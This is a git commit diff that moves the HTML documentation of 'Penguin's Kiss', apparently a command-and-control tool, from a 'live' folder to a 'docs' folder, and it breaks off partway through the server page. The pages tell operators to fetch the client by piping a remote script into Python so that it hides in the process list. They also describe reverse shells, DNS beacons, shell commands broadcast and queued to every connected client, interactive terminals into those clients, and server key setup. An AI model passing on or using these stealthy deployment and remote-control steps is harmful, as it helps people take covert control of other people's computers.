From 026f5462d958f22f38803a19064cfc7c4f2c3b0d Mon Sep 17 00:00:00 2001 From: Carson Fleming Date: Fri, 24 Jan 2025 21:07:23 -0500 Subject: rename live to docs --- docs/client.html | 132 ++++++++++++++++++++++++ docs/commands.html | 213 +++++++++++++++++++++++++++++++++++++++ docs/css/control.css | 134 ++++++++++++++++++++++++ docs/favicon.ico | Bin 0 -> 4286 bytes docs/fonts/opensans.woff2 | Bin 0 -> 279056 bytes docs/fonts/source-code-pro.woff2 | Bin 0 -> 84120 bytes docs/hdb.html | 105 +++++++++++++++++++ docs/img/banner.png | Bin 0 -> 40887 bytes docs/img/banner.webp | Bin 0 -> 11346 bytes docs/img/logo.png | Bin 0 -> 28143 bytes docs/img/logo.webp | Bin 0 -> 5860 bytes docs/index.html | 116 +++++++++++++++++++++ docs/server.html | 131 ++++++++++++++++++++++++ live/client.html | 132 ------------------------ live/commands.html | 213 --------------------------------------- live/css/control.css | 134 ------------------------ live/favicon.ico | Bin 4286 -> 0 bytes live/fonts/opensans.woff2 | Bin 279056 -> 0 bytes live/fonts/source-code-pro.woff2 | Bin 84120 -> 0 bytes live/hdb.html | 105 ------------------- live/img/banner.png | Bin 40887 -> 0 bytes live/img/banner.webp | Bin 11346 -> 0 bytes live/img/logo.png | Bin 28143 -> 0 bytes live/img/logo.webp | Bin 5860 -> 0 bytes live/index.html | 116 --------------------- live/server.html | 131 ------------------------ makefile | 10 +- 27 files changed, 836 insertions(+), 836 deletions(-) create mode 100644 docs/client.html create mode 100644 docs/commands.html create mode 100644 docs/css/control.css create mode 100644 docs/favicon.ico create mode 100644 docs/fonts/opensans.woff2 create mode 100644 docs/fonts/source-code-pro.woff2 create mode 100644 docs/hdb.html create mode 100644 docs/img/banner.png create mode 100644 docs/img/banner.webp create mode 100644 docs/img/logo.png create mode 100644 docs/img/logo.webp create mode 100644 docs/index.html create mode 100644 docs/server.html delete mode 100644 live/client.html delete mode 100644 live/commands.html delete mode 100644 live/css/control.css delete mode 100644 live/favicon.ico delete mode 100644 live/fonts/opensans.woff2 delete mode 100644 live/fonts/source-code-pro.woff2 delete mode 100644 live/hdb.html delete mode 100644 live/img/banner.png delete mode 100644 live/img/banner.webp delete mode 100644 live/img/logo.png delete mode 100644 live/img/logo.webp delete mode 100644 live/index.html delete mode 100644 live/server.html diff --git a/docs/client.html b/docs/client.html new file mode 100644 index 0000000..8d2f617 --- /dev/null +++ b/docs/client.html @@ -0,0 +1,132 @@ + + + + + + + + + + Client Configuration | Docs | Penguin's Kiss + + + + +
+ +
+

As you may have noticed reading the precompiled scripts section, the client binary + allows configuration options to be passed in a number of ways. The first thing it + will look for, for any given option, is a specifically-named environment variable, + as this will not be visible in the process name. Failing this, the client will try + less subtle approaches, looking for positional command-line arguments, prompting + the standard input, and finally falling back to a preset default value (which you + may find it useful to alter the script in order to tweak if you don't want to + pass anything in through the alternative methods.) Generally your run command will + look something like:

+
curl -s https://dl.pkctl.org/pk.py | OPT1=val1 OPT2=val2... python3 -
+

This has the distinct advantage as only showing up as python3 - in the + process list, which leaves precious little to identify what it is actually doing. + For this reason, environment variable input is highly recommended.

+
+

HDB URL

+

Unless your server is using the default server key (not recommended), you will + need to specify a URL from which the server's public RSA key can be + fetched. The format of this file can be found in the + Hosts Database + section of the documentation.

+

Environment Variable Name: HDB

+

Command-Line Argument Order: first

+

Default Value: https://war.cflems.net/hosts.json

+

Usage:

+
curl -s https://dl.pkctl.org/pk.py | HDB=https://dl.pkctl.org/b8ca2180.json python3 -
+
+
+

TCP Host

+

This is the TCP host to which your client will attempt to connect at a specified + interval. You will most invariably want to specify or recode this parameter. + Port number is optional and specified with a colon in the hostname.

+

Environment Variable Name: HOST

+

Command-Line Argument Order: second

+

Default Value: sek.cflems.net:2236

+

Usage:

+
curl -s https://dl.pkctl.org/pk.py | HOST=raw.pkctl.org python3 -
+
+
+

Time to Sleep

+

This is the interval at which the client will wake up and attempt to establish + a connection to the remote server, if it does not succeed immediately. Unit is + seconds.

+

Environment Variable Name: TTS

+

Command-Line Argument Order: third

+

Default Value: 1800 (30 minutes)

+

Usage:

+
curl -s https://dl.pkctl.org/pk.py | TTS=86400 python3 -
+
+
+

RSA Bits

+

Can be used to turn down the bits used for RSA keys and messages for faster + operation at the expense of security. Needs to be synced between the client + and server. I recommend leaving this value alone.

+

Environment Variable Name: BITS

+

Command-Line Argument Order: fourth

+

Default Value: 4096

+

Usage:

+
curl -s https://dl.pkctl.org/pk.py | BITS=2048 python3 -
+
+
+
+ + diff --git a/docs/commands.html b/docs/commands.html new file mode 100644 index 0000000..1cc28e1 --- /dev/null +++ b/docs/commands.html @@ -0,0 +1,213 @@ + + + + + + + + + + Command Reference | Docs | Penguin's Kiss + + + + +
+ +
+

The following commands can be executed while attached to the daemon via + pkctl attach.

+
+

beacon

+

Creates a DNS beacon that this host will respond to as if it were a legitimate + DNS server. If a beacon already exists at this hostname, record type, and + record class, it will be overwritten.

+

Arguments: DNS data (hex string), hostname (string), record type (string), + record class (string, optional).

+

DNS data must be a string representing the hex-encoded binary data to be + returned as the answer to a DNS query for this record.

+

Hostname is the DNS hostname for which to answer queries.

+

Record type must be one of A, AAAA, CNAME, MX, or TXT. Data must be formatted + correctly per record type or else malformed responses will be returned.

+

Record class must be one of IN, CH, or HS, or else omitted. Defaults to IN + (the internet).

+

Usage:

+
pk> beacon 01020304 x.z.pkctl.org A IN
+
+
+

delbeacon

+

Deletes one or more beacons according to arguments supplied. If only hostname + is supplied, all beacons matching hostname will be deleted. If more arguments + are supplied, the search will be narrowed accordingly.

+

Arguments: hostname (string), record type (string, optional), record class + (string, optional).

+

See beacon reference for the meanings of these arguments.

+

Usage:

+
pk> delbeacon x.z.pkctl.org A IN
+
+
+

nbeacons

+

Prints the number of currently active DNS beacons.

+

Usage:

+
pk> nbeacons
+[pk] Active beacons: 224
+
+
+

lbeacons

+

Lists all currently active DNS beacons and their data.

+

Usage:

+
pk> lbeacons
+[pk] Active beacons:
+- x.z.pkctl.org A IN: 01020304
+- ...
+[pk] 224 total.
+
+
+

nscreen

+

Prints the number of currently attached controller screens.

+

Usage:

+
pk> nscreen
+[pk] Active screens: 2
+
+
+

ncli

+

Prints the number of currently connected TCP clients.

+

Usage:

+
$ ncli
+[pk] Active TCP clients: 27
+
+
+

lcli

+

Lists the currently connected TCP clients and their descriptive information.

+
$ lcli
+[pk] Active TCP clients:
+- 0: {'ip': '127.0.0.1', 'rport': 47874, 'rdns': 'localhost'}
+- ...
+[pk] 27 total.
+
+
+

lq

+

Lists the queue of commands to be executed by newly connected clients.

+

Usage:

+
pk> lq
+['whoami', 'hostname']
+
+
+

cq

+

Clears the command queue.

+

Usage:

+
pk> cq
+
+
+

show-serverkey

+

Prints the server's public key in a format easily copyable into an HDB + entry.

+

Usage:

+
pk> show-serverkey
+{"n": ..., "e": ...}
+
+
+

pty

+

Connects your screen to the specified client in a one-on-one terminal session, + similar to SSHing into the client machine.

+

Arguments: client ID (integer) — can be found with lcli.

+

Usage:

+
$ pty 3
+
+
+

refresh-hdb

+

Commands the client to refresh its internal hosts database from the web resource + it was originally pulled from.

+

Usage:

+
$ refresh-hdb
+
+
+

tunnel

+

Commands the client to disconnect and sleep for the number of seconds configured + in TTS.

+

Usage:

+
$ tunnel
+
+
+

die

+

Commands the client to exit and not respawn.

+

Usage:

+
$ die
+
+
+

Shell Commands

+

Inputs which are not recognized as server commands will be interpreted as + shell commands, which will be blasted to all connected clients and queued for + future clients to receive as well. Once executed, the results of these + commands will be blasted to all active screens, and logged in case no screen + is watching at the time of the response. The active command queue can be + managed by way of the lq and cq + commands.

+
+
+

Targeting

+

In the event that you would prefer not to dispatch a command to all current and + future clients, a specific set of targets can be specified by prepending + TARGET={targets} to the command, where {targets} is + a comma-delimited list of client IDs (integers). These client IDs can be + retrieved by checking the output of lcli. Commands which are + targeted are not queued for future clients to receive.

+

Usage:

+
$ TARGET=0,4,57,264 echo hello
+
+
+
+ + diff --git a/docs/css/control.css b/docs/css/control.css new file mode 100644 index 0000000..6a731ab --- /dev/null +++ b/docs/css/control.css @@ -0,0 +1,134 @@ +@font-face { + font-family: 'Open Sans'; + src: url('/fonts/opensans.woff2') format('woff2'); + font-display: block; +} +@font-face { + font-family: 'Source Code Pro'; + src: url('/fonts/source-code-pro.woff2') format('woff2'); + font-display: block; +} +body,h1,h2,h3,h4,h5,h6,p,ul { + margin: 0; +} +a { + color: unset; + text-decoration: unset; +} +body { + font-family: 'Open Sans', sans-serif; + background-color: #3cb371; +} +#banner, #navigation { + background-color: #3cb371; +} +#banner { + height: 64px; + display: flex; + flex-direction: row; + align-items: center; + padding: 16px 48px; +} +#logo-img { + height: 64px; +} +#banner-buttons { + flex-grow: 1; + text-align: right; +} +#banner .button { + font-weight: bold; + margin-left: 4px; + padding: 10px 24px; + background-color: #f8f8f8; + border-radius: 8px; + box-shadow: 0px 0px 4px #00000080; +} +#banner .button:hover { + background-color: #f0f0f0; +} +#banner .button:active { + background-color: #f8f8f8; + box-shadow: none; +} +#page { + display: flex; + flex-direction: row; +} +#navigation { + min-width: 192px; + min-height: calc(100vh - 97px); + padding: 0px 32px; + font-family: 'Source Code Pro'; + font-size: 11pt; +} +.nav-heading { + font-family: 'Open Sans'; + font-size: 11.5pt; + font-weight: 700; +} +.nav-section { + list-style: none; + padding: 0; + margin-bottom: 4px; +} +#content { + flex-grow: 1; + padding: 24px 32px; + background-color: #f8f8f8; + border-top-left-radius: 4px; + box-shadow: inset 0px 0px 4px #00000080; + font-size: 11.5pt; +} +#content section { + margin: 16px 0px; +} +#content a { + color: #2d8238; + text-decoration: none; +} +#content a:hover { + color: #33b63f; +} +#content p, #content pre { + margin: 0px 0px 8px; +} +#content pre, #content code { + font-family: 'Source Code Pro', 'Courier New', Courier, monospace; + font-size: 10pt; + background-color: #e8e8e8; +} +#content code { + padding: 0px 2px; +} +#content pre { + padding: 4px 6px; +} +@media screen and (max-width: 750px) { + #banner { + padding: 16px 0; + justify-content: center; + } + #banner-buttons { + display: none; + flex-grow: 0; + } + #banner-logo { + text-align: center; + } + #navigation { + display: none; + min-width: 0; + min-height: 0; + } + #content { + padding: 12px 16px; + border-radius: unset; + font-size: 1.5rem; + } + #content pre, #content code { + font-size: 1.25rem; + white-space: unset; + text-wrap: wrap; + } +} \ No newline at end of file diff --git a/docs/favicon.ico b/docs/favicon.ico new file mode 100644 index 0000000..d76f3a3 Binary files /dev/null and b/docs/favicon.ico differ diff --git a/docs/fonts/opensans.woff2 b/docs/fonts/opensans.woff2 new file mode 100644 index 0000000..f4a0737 Binary files /dev/null and b/docs/fonts/opensans.woff2 differ diff --git a/docs/fonts/source-code-pro.woff2 b/docs/fonts/source-code-pro.woff2 new file mode 100644 index 0000000..749efbc Binary files /dev/null and b/docs/fonts/source-code-pro.woff2 differ diff --git a/docs/hdb.html b/docs/hdb.html new file mode 100644 index 0000000..31986c6 --- /dev/null +++ b/docs/hdb.html @@ -0,0 +1,105 @@ + + + + + + + + + + Hosts Database | Docs | Penguin's Kiss + + + + +
+ +
+

Now that we've generated our host key and gotten our server up and running, its + time to publish its public key in a hosts database file so that it can be retrieved + by clients. The TL;DR for this section is to create a file that looks like this:

+
{"keys": {"<server ip>": {"n": <number n that python spit out>, "e": 65537}}}
+

and upload it to the web somewhere. You can then supply this URL to your clients as + your hosts database. Literally even a PasteBin will work if you use the raw file + URL.

+
+

Format

+

The hosts database is essentially just a JSON object in which the PK client will + look for specific keys to retrieve information. The basic skeleton looks like + this:

+
{"keys": {<keys section>}}
+
+
+

Keys Section

+

The keys section is just a mapping from server IPs to key objects, which in + turn are just a way of representing RSA public keys. The keys section supports + multiple server IPs, but currently only one public key per server IP. Its + skeleton looks like the following:

+
{"0.1.2.3": {<key object>}, "255.255.255.255": {<key object>}}
+

Key Objects

+

A key object is just a modulus and a public exponent, both of which are integers. + The modulus is at key n and the public exponent is at key + e. The public exponent is optional and defaults to + 65537 if not supplied. These values can be pulled directly from + /etc/pk/server_key.json, but it is important to delete the + d key and its value, as this information needs to remain secret. +

+

The format of a key object is as follows:

+
{"n": 3043289324798327498257285749857984257249857245, "e": 12345}
+
+
+
+ + diff --git a/docs/img/banner.png b/docs/img/banner.png new file mode 100644 index 0000000..1d5d625 Binary files /dev/null and b/docs/img/banner.png differ diff --git a/docs/img/banner.webp b/docs/img/banner.webp new file mode 100644 index 0000000..dae1345 Binary files /dev/null and b/docs/img/banner.webp differ diff --git a/docs/img/logo.png b/docs/img/logo.png new file mode 100644 index 0000000..d2c7ce4 Binary files /dev/null and b/docs/img/logo.png differ diff --git a/docs/img/logo.webp b/docs/img/logo.webp new file mode 100644 index 0000000..e4ab754 Binary files /dev/null and b/docs/img/logo.webp differ diff --git a/docs/index.html b/docs/index.html new file mode 100644 index 0000000..a32d928 --- /dev/null +++ b/docs/index.html @@ -0,0 +1,116 @@ + + + + + + + + + + Penguin's Kiss Command & Control Software | Penguin's Kiss + + + + +
+ +
+

Penguin's Kiss is command and control software designed to accomodate a large + number of clients and controllers at once. Multiple channels are available for + end-to-end encrypted delivery of shell commands, including direct TCP reverse + shell, DNS beacon, and beacon-triggered direct connection. All information is sent + encrypted, either by padded RSA or by one-time pad exchanged over RSA (this helps + to keep short data snippets responsive and avoid ballooning message size). In the + future, some work may be done to incorporate elliptic curve cryptography and + one-time session keys utilizing some symmetric cipher (likely AES).

+
+

Downloading PK

+

The quickest way to download is via the button in the top right. This will take + you to the latest release on + GitHub. You can also clone the + master (pseudo-stable) + or + develop (unstable) + branches to receive feature updates before they are bundled into a full + release.

+
+
+

Building PK

+

PK doesn't require much in the way of compilation, just bundling into a + single script that can be distributed or run. This functionality is written in + the makefile for easy access, so fetching and compilation should be as simple + as:

+
# or tar -xzf pk.tgz if you've downloaded an archive
+git clone git@github.com:cflems/pk.git
+cd pk
+make
+

Your built artifacts will be pkcli.py and pkd.py. + Building is required before PK can be run for the first time.

+
+
+

Precompiled Client Scripts

+

Since cloning and building the latest version isn't the stealthiest + procedure to execute on a client machine, prebuilt versions of the latest + client script will be hosted in the several locations and can be executed + without meaningful process footprint as follows:

+
curl -s https://dl.pkctl.org/pk.py | ENV=... python3 -
+
curl -s https://war.cflems.net/pk.py | ENV=... python3 -
+

You may wish to host your own, however, in order to tweak the default values + to your needs and avoid feeding them via enviornment variables.

+
+
+
+ + diff --git a/docs/server.html b/docs/server.html new file mode 100644 index 0000000..c7dce69 --- /dev/null +++ b/docs/server.html @@ -0,0 +1,131 @@ + + + + + + + + + + Server Configuration | Docs | Penguin's Kiss + + + + +
+ +
+

Once your PK scripts are built very little is required to run the server as a local + user, you can literally just do:

+
python3 pkctl.py start
+python3 pkctl.py attach
+

and have yourself a simple instance up and running ready to run commands. Therefore + the rest of this section will be dedicated to getting PK running in the background + as a systemd service under its own user, and letting multiple system users attach + to the daemon at once if desired.

+
+

Installing

+

Once again the makefile mostly has you covered here, all you need to do is:

+
sudo make install
+

and the makefile will set up a dedicated service user and group called + pkd which controls access to the daemon and its resources, as well + as setting up the pk server as a systemd service called pk. This + will also start the pk server and enable it on startup.

+
+
+

PKCTL Usage

+

Once installed, you can use the following commands to interface with the pk + daemon controller:

+

systemctl start|stop|restart pk — this controls the + daemon's life cycle.

+

pkctl attach — this starts an interactive session with the + daemon, allowing you to control and interface with clients.

+
+
+

Host Key Generation

+

Once you've installed the pk server you're going to want to change its + host key away from the default one which is used for testing purposes and is + widely available (read: not secure at all).

+

This is probably the only complicated part of the whole guide, mostly because + I haven't yet built a cute little utility to do it for you yet (I should + at some point). You're going to need to do the following (in your pk + directory):

+
python3
+>>> import crypto
+>>> p,q,n,e,d = crypto.Crypto.keygen(4096)
+>>> n
+

Copy the number that python spits out here.

+
+>>> d
+

Also copy this number. Keep these two handy as we'll need them later. + Now open /etc/pk/server_key.json in your favorite editor and make + it read as follows (you can wipe out the current contents):

+
{"n": <the number n we got from python>, "d": <the number d we got from python>, "e": 65537}
+

At this point we're almost done, we just have to restart pk to reflect the + changes, so run:

+
sudo systemctl restart pk
+

and you should be good to go.

+
+
+

Local Users

+

To allow non-root users on your system to use pkctl attach, you + will need to add them to the pkd user group. This is remarkably + simple to do on any unix system, just run:

+
adduser [username] pkd
+
+
+
+ + diff --git a/live/client.html b/live/client.html deleted file mode 100644 index 8d2f617..0000000 --- a/live/client.html +++ /dev/null @@ -1,132 +0,0 @@ - - - - - - - - - - Client Configuration | Docs | Penguin's Kiss - - - - -
- -
-

As you may have noticed reading the precompiled scripts section, the client binary - allows configuration options to be passed in a number of ways. The first thing it - will look for, for any given option, is a specifically-named environment variable, - as this will not be visible in the process name. Failing this, the client will try - less subtle approaches, looking for positional command-line arguments, prompting - the standard input, and finally falling back to a preset default value (which you - may find it useful to alter the script in order to tweak if you don't want to - pass anything in through the alternative methods.) Generally your run command will - look something like:

-
curl -s https://dl.pkctl.org/pk.py | OPT1=val1 OPT2=val2... python3 -
-

This has the distinct advantage as only showing up as python3 - in the - process list, which leaves precious little to identify what it is actually doing. - For this reason, environment variable input is highly recommended.

-
-

HDB URL

-

Unless your server is using the default server key (not recommended), you will - need to specify a URL from which the server's public RSA key can be - fetched. The format of this file can be found in the - Hosts Database - section of the documentation.

-

Environment Variable Name: HDB

-

Command-Line Argument Order: first

-

Default Value: https://war.cflems.net/hosts.json

-

Usage:

-
curl -s https://dl.pkctl.org/pk.py | HDB=https://dl.pkctl.org/b8ca2180.json python3 -
-
-
-

TCP Host

-

This is the TCP host to which your client will attempt to connect at a specified - interval. You will most invariably want to specify or recode this parameter. - Port number is optional and specified with a colon in the hostname.

-

Environment Variable Name: HOST

-

Command-Line Argument Order: second

-

Default Value: sek.cflems.net:2236

-

Usage:

-
curl -s https://dl.pkctl.org/pk.py | HOST=raw.pkctl.org python3 -
-
-
-

Time to Sleep

-

This is the interval at which the client will wake up and attempt to establish - a connection to the remote server, if it does not succeed immediately. Unit is - seconds.

-

Environment Variable Name: TTS

-

Command-Line Argument Order: third

-

Default Value: 1800 (30 minutes)

-

Usage:

-
curl -s https://dl.pkctl.org/pk.py | TTS=86400 python3 -
-
-
-

RSA Bits

-

Can be used to turn down the bits used for RSA keys and messages for faster - operation at the expense of security. Needs to be synced between the client - and server. I recommend leaving this value alone.

-

Environment Variable Name: BITS

-

Command-Line Argument Order: fourth

-

Default Value: 4096

-

Usage:

-
curl -s https://dl.pkctl.org/pk.py | BITS=2048 python3 -
-
-
-
- - diff --git a/live/commands.html b/live/commands.html deleted file mode 100644 index 1cc28e1..0000000 --- a/live/commands.html +++ /dev/null @@ -1,213 +0,0 @@ - - - - - - - - - - Command Reference | Docs | Penguin's Kiss - - - - -
- -
-

The following commands can be executed while attached to the daemon via - pkctl attach.

-
-

beacon

-

Creates a DNS beacon that this host will respond to as if it were a legitimate - DNS server. If a beacon already exists at this hostname, record type, and - record class, it will be overwritten.

-

Arguments: DNS data (hex string), hostname (string), record type (string), - record class (string, optional).

-

DNS data must be a string representing the hex-encoded binary data to be - returned as the answer to a DNS query for this record.

-

Hostname is the DNS hostname for which to answer queries.

-

Record type must be one of A, AAAA, CNAME, MX, or TXT. Data must be formatted - correctly per record type or else malformed responses will be returned.

-

Record class must be one of IN, CH, or HS, or else omitted. Defaults to IN - (the internet).

-

Usage:

-
pk> beacon 01020304 x.z.pkctl.org A IN
-
-
-

delbeacon

-

Deletes one or more beacons according to arguments supplied. If only hostname - is supplied, all beacons matching hostname will be deleted. If more arguments - are supplied, the search will be narrowed accordingly.

-

Arguments: hostname (string), record type (string, optional), record class - (string, optional).

-

See beacon reference for the meanings of these arguments.

-

Usage:

-
pk> delbeacon x.z.pkctl.org A IN
-
-
-

nbeacons

-

Prints the number of currently active DNS beacons.

-

Usage:

-
pk> nbeacons
-[pk] Active beacons: 224
-
-
-

lbeacons

-

Lists all currently active DNS beacons and their data.

-

Usage:

-
pk> lbeacons
-[pk] Active beacons:
-- x.z.pkctl.org A IN: 01020304
-- ...
-[pk] 224 total.
-
-
-

nscreen

-

Prints the number of currently attached controller screens.

-

Usage:

-
pk> nscreen
-[pk] Active screens: 2
-
-
-

ncli

-

Prints the number of currently connected TCP clients.

-

Usage:

-
$ ncli
-[pk] Active TCP clients: 27
-
-
-

lcli

-

Lists the currently connected TCP clients and their descriptive information.

-
$ lcli
-[pk] Active TCP clients:
-- 0: {'ip': '127.0.0.1', 'rport': 47874, 'rdns': 'localhost'}
-- ...
-[pk] 27 total.
-
-
-

lq

-

Lists the queue of commands to be executed by newly connected clients.

-

Usage:

-
pk> lq
-['whoami', 'hostname']
-
-
-

cq

-

Clears the command queue.

-

Usage:

-
pk> cq
-
-
-

show-serverkey

-

Prints the server's public key in a format easily copyable into an HDB - entry.

-

Usage:

-
pk> show-serverkey
-{"n": ..., "e": ...}
-
-
-

pty

-

Connects your screen to the specified client in a one-on-one terminal session, - similar to SSHing into the client machine.

-

Arguments: client ID (integer) — can be found with lcli.

-

Usage:

-
$ pty 3
-
-
-

refresh-hdb

-

Commands the client to refresh its internal hosts database from the web resource - it was originally pulled from.

-

Usage:

-
$ refresh-hdb
-
-
-

tunnel

-

Commands the client to disconnect and sleep for the number of seconds configured - in TTS.

-

Usage:

-
$ tunnel
-
-
-

die

-

Commands the client to exit and not respawn.

-

Usage:

-
$ die
-
-
-

Shell Commands

-

Inputs which are not recognized as server commands will be interpreted as - shell commands, which will be blasted to all connected clients and queued for - future clients to receive as well. Once executed, the results of these - commands will be blasted to all active screens, and logged in case no screen - is watching at the time of the response. The active command queue can be - managed by way of the lq and cq - commands.

-
-
-

Targeting

-

In the event that you would prefer not to dispatch a command to all current and - future clients, a specific set of targets can be specified by prepending - TARGET={targets} to the command, where {targets} is - a comma-delimited list of client IDs (integers). These client IDs can be - retrieved by checking the output of lcli. Commands which are - targeted are not queued for future clients to receive.

-

Usage:

-
$ TARGET=0,4,57,264 echo hello
-
-
-
- - diff --git a/live/css/control.css b/live/css/control.css deleted file mode 100644 index 6a731ab..0000000 --- a/live/css/control.css +++ /dev/null @@ -1,134 +0,0 @@ -@font-face { - font-family: 'Open Sans'; - src: url('/fonts/opensans.woff2') format('woff2'); - font-display: block; -} -@font-face { - font-family: 'Source Code Pro'; - src: url('/fonts/source-code-pro.woff2') format('woff2'); - font-display: block; -} -body,h1,h2,h3,h4,h5,h6,p,ul { - margin: 0; -} -a { - color: unset; - text-decoration: unset; -} -body { - font-family: 'Open Sans', sans-serif; - background-color: #3cb371; -} -#banner, #navigation { - background-color: #3cb371; -} -#banner { - height: 64px; - display: flex; - flex-direction: row; - align-items: center; - padding: 16px 48px; -} -#logo-img { - height: 64px; -} -#banner-buttons { - flex-grow: 1; - text-align: right; -} -#banner .button { - font-weight: bold; - margin-left: 4px; - padding: 10px 24px; - background-color: #f8f8f8; - border-radius: 8px; - box-shadow: 0px 0px 4px #00000080; -} -#banner .button:hover { - background-color: #f0f0f0; -} -#banner .button:active { - background-color: #f8f8f8; - box-shadow: none; -} -#page { - display: flex; - flex-direction: row; -} -#navigation { - min-width: 192px; - min-height: calc(100vh - 97px); - padding: 0px 32px; - font-family: 'Source Code Pro'; - font-size: 11pt; -} -.nav-heading { - font-family: 'Open Sans'; - font-size: 11.5pt; - font-weight: 700; -} -.nav-section { - list-style: none; - padding: 0; - margin-bottom: 4px; -} -#content { - flex-grow: 1; - padding: 24px 32px; - background-color: #f8f8f8; - border-top-left-radius: 4px; - box-shadow: inset 0px 0px 4px #00000080; - font-size: 11.5pt; -} -#content section { - margin: 16px 0px; -} -#content a { - color: #2d8238; - text-decoration: none; -} -#content a:hover { - color: #33b63f; -} -#content p, #content pre { - margin: 0px 0px 8px; -} -#content pre, #content code { - font-family: 'Source Code Pro', 'Courier New', Courier, monospace; - font-size: 10pt; - background-color: #e8e8e8; -} -#content code { - padding: 0px 2px; -} -#content pre { - padding: 4px 6px; -} -@media screen and (max-width: 750px) { - #banner { - padding: 16px 0; - justify-content: center; - } - #banner-buttons { - display: none; - flex-grow: 0; - } - #banner-logo { - text-align: center; - } - #navigation { - display: none; - min-width: 0; - min-height: 0; - } - #content { - padding: 12px 16px; - border-radius: unset; - font-size: 1.5rem; - } - #content pre, #content code { - font-size: 1.25rem; - white-space: unset; - text-wrap: wrap; - } -} \ No newline at end of file diff --git a/live/favicon.ico b/live/favicon.ico deleted file mode 100644 index d76f3a3..0000000 Binary files a/live/favicon.ico and /dev/null differ diff --git a/live/fonts/opensans.woff2 b/live/fonts/opensans.woff2 deleted file mode 100644 index f4a0737..0000000 Binary files a/live/fonts/opensans.woff2 and /dev/null differ diff --git a/live/fonts/source-code-pro.woff2 b/live/fonts/source-code-pro.woff2 deleted file mode 100644 index 749efbc..0000000 Binary files a/live/fonts/source-code-pro.woff2 and /dev/null differ diff --git a/live/hdb.html b/live/hdb.html deleted file mode 100644 index 31986c6..0000000 --- a/live/hdb.html +++ /dev/null @@ -1,105 +0,0 @@ - - - - - - - - - - Hosts Database | Docs | Penguin's Kiss - - - - -
- -
-

Now that we've generated our host key and gotten our server up and running, its - time to publish its public key in a hosts database file so that it can be retrieved - by clients. The TL;DR for this section is to create a file that looks like this:

-
{"keys": {"<server ip>": {"n": <number n that python spit out>, "e": 65537}}}
-

and upload it to the web somewhere. You can then supply this URL to your clients as - your hosts database. Literally even a PasteBin will work if you use the raw file - URL.

-
-

Format

-

The hosts database is essentially just a JSON object in which the PK client will - look for specific keys to retrieve information. The basic skeleton looks like - this:

-
{"keys": {<keys section>}}
-
-
-

Keys Section

-

The keys section is just a mapping from server IPs to key objects, which in - turn are just a way of representing RSA public keys. The keys section supports - multiple server IPs, but currently only one public key per server IP. Its - skeleton looks like the following:

-
{"0.1.2.3": {<key object>}, "255.255.255.255": {<key object>}}
-

Key Objects

-

A key object is just a modulus and a public exponent, both of which are integers. - The modulus is at key n and the public exponent is at key - e. The public exponent is optional and defaults to - 65537 if not supplied. These values can be pulled directly from - /etc/pk/server_key.json, but it is important to delete the - d key and its value, as this information needs to remain secret. -

-

The format of a key object is as follows:

-
{"n": 3043289324798327498257285749857984257249857245, "e": 12345}
-
-
-
- - diff --git a/live/img/banner.png b/live/img/banner.png deleted file mode 100644 index 1d5d625..0000000 Binary files a/live/img/banner.png and /dev/null differ diff --git a/live/img/banner.webp b/live/img/banner.webp deleted file mode 100644 index dae1345..0000000 Binary files a/live/img/banner.webp and /dev/null differ diff --git a/live/img/logo.png b/live/img/logo.png deleted file mode 100644 index d2c7ce4..0000000 Binary files a/live/img/logo.png and /dev/null differ diff --git a/live/img/logo.webp b/live/img/logo.webp deleted file mode 100644 index e4ab754..0000000 Binary files a/live/img/logo.webp and /dev/null differ diff --git a/live/index.html b/live/index.html deleted file mode 100644 index a32d928..0000000 --- a/live/index.html +++ /dev/null @@ -1,116 +0,0 @@ - - - - - - - - - - Penguin's Kiss Command & Control Software | Penguin's Kiss - - - - -
- -
-

Penguin's Kiss is command and control software designed to accomodate a large - number of clients and controllers at once. Multiple channels are available for - end-to-end encrypted delivery of shell commands, including direct TCP reverse - shell, DNS beacon, and beacon-triggered direct connection. All information is sent - encrypted, either by padded RSA or by one-time pad exchanged over RSA (this helps - to keep short data snippets responsive and avoid ballooning message size). In the - future, some work may be done to incorporate elliptic curve cryptography and - one-time session keys utilizing some symmetric cipher (likely AES).

-
-

Downloading PK

-

The quickest way to download is via the button in the top right. This will take - you to the latest release on - GitHub. You can also clone the - master (pseudo-stable) - or - develop (unstable) - branches to receive feature updates before they are bundled into a full - release.

-
-
-

Building PK

-

PK doesn't require much in the way of compilation, just bundling into a - single script that can be distributed or run. This functionality is written in - the makefile for easy access, so fetching and compilation should be as simple - as:

-
# or tar -xzf pk.tgz if you've downloaded an archive
-git clone git@github.com:cflems/pk.git
-cd pk
-make
-

Your built artifacts will be pkcli.py and pkd.py. - Building is required before PK can be run for the first time.

-
-
-

Precompiled Client Scripts

-

Since cloning and building the latest version isn't the stealthiest - procedure to execute on a client machine, prebuilt versions of the latest - client script will be hosted in the several locations and can be executed - without meaningful process footprint as follows:

-
curl -s https://dl.pkctl.org/pk.py | ENV=... python3 -
-
curl -s https://war.cflems.net/pk.py | ENV=... python3 -
-

You may wish to host your own, however, in order to tweak the default values - to your needs and avoid feeding them via enviornment variables.

-
-
-
- - diff --git a/live/server.html b/live/server.html deleted file mode 100644 index c7dce69..0000000 --- a/live/server.html +++ /dev/null @@ -1,131 +0,0 @@ - - - - - - - - - - Server Configuration | Docs | Penguin's Kiss - - - - -
- -
-

Once your PK scripts are built very little is required to run the server as a local - user, you can literally just do:

-
python3 pkctl.py start
-python3 pkctl.py attach
-

and have yourself a simple instance up and running ready to run commands. Therefore - the rest of this section will be dedicated to getting PK running in the background - as a systemd service under its own user, and letting multiple system users attach - to the daemon at once if desired.

-
-

Installing

-

Once again the makefile mostly has you covered here, all you need to do is:

-
sudo make install
-

and the makefile will set up a dedicated service user and group called - pkd which controls access to the daemon and its resources, as well - as setting up the pk server as a systemd service called pk. This - will also start the pk server and enable it on startup.

-
-
-

PKCTL Usage

-

Once installed, you can use the following commands to interface with the pk - daemon controller:

-

systemctl start|stop|restart pk — this controls the - daemon's life cycle.

-

pkctl attach — this starts an interactive session with the - daemon, allowing you to control and interface with clients.

-
-
-

Host Key Generation

-

Once you've installed the pk server you're going to want to change its - host key away from the default one which is used for testing purposes and is - widely available (read: not secure at all).

-

This is probably the only complicated part of the whole guide, mostly because - I haven't yet built a cute little utility to do it for you yet (I should - at some point). You're going to need to do the following (in your pk - directory):

-
python3
->>> import crypto
->>> p,q,n,e,d = crypto.Crypto.keygen(4096)
->>> n
-

Copy the number that python spits out here.

-
->>> d
-

